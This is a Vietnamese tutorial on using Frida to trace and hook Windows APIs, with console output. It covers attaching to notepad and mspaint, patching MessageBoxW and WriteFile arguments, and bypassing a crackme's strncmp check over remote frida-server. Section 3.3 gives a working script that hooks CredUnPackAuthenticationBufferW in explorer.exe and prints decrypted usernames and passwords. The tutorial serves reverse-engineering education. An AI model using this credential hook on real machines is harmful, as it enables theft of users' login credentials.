Frida 102: Tracing and Hooking Windows APIs

1. Frida hoạt động như thế nào?

$ tree
.
├── 32
│   ├── dbghelp.dll
│   ├── frida-agent.dll
│   └── symsrv.dll
└── 64
    ├── dbghelp.dll
    ├── frida-agent.dll
    └── symsrv.dll

2 directories, 6 files

2. Sử dụng Frida cơ bản

2.1. Khởi chạy một chương trình bằng Frida

$ frida C:\Windows\System32\notepad.exe
     ____
    / _  |   Frida 14.2.18 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
Spawned `C:\Windows\System32\notepad.exe`. Use %resume to let the main thread start executing!
[Local::notepad.exe]->

$ frida-ps | findstr "notepad"
 14340  notepad.exe

2.2. Attach một tiến trình bằng Frida

$ frida-ps | findstr "mspaint"
 7800  mspaint.exe

$ frida -p 7800
     ____
    / _  |   Frida 14.2.18 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/

[Local::PID::7800]->

2.3. Sử dụng Frida Tracing

$ frida-trace -i "MessageBoxW" -i "WriteFile" C:\Windows\System32\notepad.exe

3. Hooking Windows APIs bằng Frida

3.1. APIs Monitor với Frida

BOOL WriteFile(
  HANDLE       hFile,
  LPCVOID      lpBuffer,
  DWORD        nNumberOfBytesToWrite,
  LPDWORD      lpNumberOfBytesWritten,
  LPOVERLAPPED lpOverlapped
);

int MessageBoxW(
  HWND    hWnd,
  LPCWSTR lpText,
  LPCWSTR lpCaption,
  UINT    uType
);

• Dump nội dung và in ra màn hình giá trị của lpBuffer trong hàm WriteFile

• In ra màn hình nội dung của lpText và lpCaption trong hàm MessageBoxW

var messageBox = Module.getExportByName(null, "MessageBoxW");
var writeFile = Module.getExportByName(null, "WriteFile");

Interceptor.attach(messageBox, {
    onEnter: function(args)
    {
		console.log("\nMessageBoxW at: " + messageBox);
        console.log("  lpText: " + Memory.readUtf16String(args[1]));
        console.log("  lpCaption: " + Memory.readUtf16String(args[2]));
    }
});

Interceptor.attach(writeFile, {
    onEnter: function(args)
    {
		console.log("\nWriteFile at: " + writeFile);
        console.log("  Buffer dump:\n" + hexdump(args[1]));
        console.log("  Buffer via utf16String: " + Memory.readUtf16String(args[1]));
    }
});

$ frida -l .\hooking\apis_hooking.js C:\Windows\System32\notepad.exe --no-pause

WriteFile at: 0x7fff9f8b4fd0
  Buffer dump:
              0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
1e1a2823780  54 00 68 00 69 00 73 00 20 00 69 00 73 00 20 00  T.h.i.s. .i.s. .
1e1a2823790  66 00 75 00 6e 00 21 00 00 00 00 00 00 00 00 00  f.u.n.!.........
...
1e1a2823870  00 00 00 00 00 00 00 00 10 39 82 a2 e1 01 00 00  .........9......
  Buffer via utf16String: This is fun!

3.2. Memory Patching bằng Frida

var messageBox = Module.getExportByName(null, "MessageBoxW");
var writeFile = Module.getExportByName(null, "WriteFile");
var buff = Memory.allocUtf16String("F*ck y0u!!!!!!!")

Interceptor.attach(messageBox, {
    onEnter: function(args)
    {
		args[1] = buff
		args[2] = buff
		console.log("\nMessageBoxW at: " + messageBox);		
        console.log("  lpText: " + Memory.readUtf16String(args[1]));
        console.log("  lpCaption: " + Memory.readUtf16String(args[2]));
    }
});

Interceptor.attach(writeFile, {
    onEnter: function(args)
    {
		args[1] = buff
		console.log("\nWriteFile at: " + writeFile);
        console.log("  Buffer dump:\n" + hexdump(args[1]));
        console.log("  Buffer via utf16String: " + Memory.readUtf16String(args[1]));
    }
});

WriteFile at: 0x7fff9f8b4fd0
  Buffer dump:
              0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
1e1a4376d40  46 00 2a 00 63 00 6b 00 20 00 79 00 30 00 75 00  F.*.c.k. .y.0.u.
1e1a4376d50  21 00 21 00 21 00 21 00 21 00 21 00 21 00 00 00  !.!.!.!.!.!.!...
..
1e1a4376e30  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  Buffer via utf16String: F*ck y0u!!!!!!!

3.3. Chặn bắt thông tin xác thực trên Windows 10

$ frida-ps | findstr "explorer"
20128  explorer.exe

$ frida-trace -i "*Cred*" -x "CredFree" -p 20128

Started tracing 159 functions. Press Ctrl+C to stop.
           /* TID 0x42c0 */
 90061 ms  CredUIPromptForWindowsCredentialsW()
 90061 ms     | CredUIInternalPromptForWindowsCredentialsW()
 90061 ms     |    | CredUIInternalPromptForWindowsCredentialsWorker()

257149 ms  CredUnPackAuthenticationBufferW()
257149 ms  CredUnPackAuthenticationBufferW()
257149 ms     | CredUnprotectW()
257149 ms     |    | CredUnprotectEx()
257149 ms     |    |    | CredUnmarshalCredentialW()
257149 ms  CredUIParseUserNameW()
257149 ms     | CredIsMarshaledCredentialW()
257149 ms     |    | CredUnmarshalCredentialW()
257150 ms  CredUIPromptForWindowsCredentialsW()
257150 ms     | CredUIInternalPromptForWindowsCredentialsW()
257150 ms     |    | CredUIInternalPromptForWindowsCredentialsWorker()

CREDUIAPI BOOL CredUnPackAuthenticationBufferW(
  DWORD  dwFlags,
  PVOID  pAuthBuffer,
  DWORD  cbAuthBuffer,
  LPWSTR pszUserName,
  DWORD  *pcchMaxUserName,
  LPWSTR pszDomainName,
  DWORD  *pcchMaxDomainName,
  LPWSTR pszPassword,
  DWORD  *pcchMaxPassword
);

var pszUserName, pszPassword, decryptedUsername, decryptedPassword;
var credUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", "CredUnPackAuthenticationBufferW");

Interceptor.attach(credUnPackAuthenticationBufferW, {
    onEnter: function (args)
	{
        // Credentials here are still encrypted
        pszUserName = args[3];
        pszPassword = args[7];
    },
    
		onLeave: function (result)
		{
        // Credentials are now decrypted
        decryptedUsername = pszUserName.readUtf16String()
        decryptedPassword = pszPassword.readUtf16String()
        if (decryptedUsername && decryptedPassword)
		{
			console.log("\n[*] Intercepted Credentials: ");
			console.log("[+] Username: " + decryptedUsername);
			console.log("[+] Password: " + decryptedPassword);
        }
    }
});

$ frida-ps | findstr "explorer"
 6724  explorer.exe

$ frida -l .\hooking\credential_theft.js -p 6724

$ frida -l .\hooking\credential_theft.js -p 6724
[Local::PID::6724]->
[*] Intercepted Credentials:
[+] Username: %COMPUTERNAME%\Alice
[+] Password: this_1s_s3cret_passw0rd

3.4. Remote Debugging/Hooking với Frida

$ crackme-101.exe
Enter Password: 123456
Try again.

$ frida-server.exe -l 0.0.0.0

$ netstat -ano | findstr :27042
  TCP    0.0.0.0:27042          0.0.0.0:0              LISTENING       312

$ tasklist /fi "pid eq 312"

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
frida-server.exe               312 RDP-Tcp#5                  2      7,976 K

$ frida-trace -i "strncmp" -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe

$ frida-trace -i "strncmp" -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe
Instrumenting...
...
Started tracing 3 functions. Press Ctrl+C to stop.
           /* TID 0x2230 */
435830 ms  strncmp()
Process terminated

var strncmp = Module.findExportByName("msvcrt.dll", "strncmp");

Interceptor.attach(strncmp, {
    onEnter: function(args)
    {
		console.log("\nstrncmp at: " + strncmp);		
        console.log("  str1: " + Memory.readUtf8String(args[0]));
        console.log("  str2: " + Memory.readUtf8String(args[1]));
        console.log("   num: " + args[2]);
    }
});

$ frida -l .\hooking\apis_hooking_remote.js -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe --no-pause
...
[Remote::crackme-101.exe]->
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: 8;:=<?♥
   num: 0x14
Process terminated

[Remote::crackme-101.exe]->
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: hkj8;:♥
   num: 0x14
Process terminated

...
Enter Password: z8dye:Vq9{V:gJ{py}(
Try again.

[Remote::crackme-101.exe]->
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: s1mpl3_x0r_3nCrypt!
   num: 0x14
Process terminated

...
Enter Password: s1mpl3_x0r_3nCrypt!
Congrats!

[Remote::crackme-101.exe]->
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: z8dye:Vq9{V:gJ{py}(
   num: 0x14
Process terminated

var strncmp = Module.findExportByName("msvcrt.dll", "strncmp");

Interceptor.attach(strncmp, {

    onEnter: function(args)
    {
        args[1] = args[0]
		console.log("\nstrncmp at: " + strncmp);		
        console.log("  str1: " + Memory.readUtf8String(args[0]));
        console.log("  str2: " + Memory.readUtf8String(args[1]));
    }
});

$ frida -l .\hooking\apis_hooking_remote.js -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe --no-pause
...
Spawned `C:\Users\Admin\Desktop\Sample\crackme-101.exe`. Resuming main thread!
[Remote::crackme-101.exe]->
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: z8dye:Vq9{V:gJ{py}(
Process terminated

4. Tham khảo

• Instrumenting Windows APIs with Frida - https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/instrumenting-windows-apis-with-frida

• Getting Started with Frida: Hooking a Function and Replacing its Arguments - https://blog.fadyothman.com/getting-started-with-frida-hooking-main-and-playing-with-its-arguments

• Using Frida For Windows Reverse Engineering - https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html

• 3 Ways to Run App as Different User in Windows 10 - https://www.top-password.com/blog/run-app-as-different-user-in-windows-10/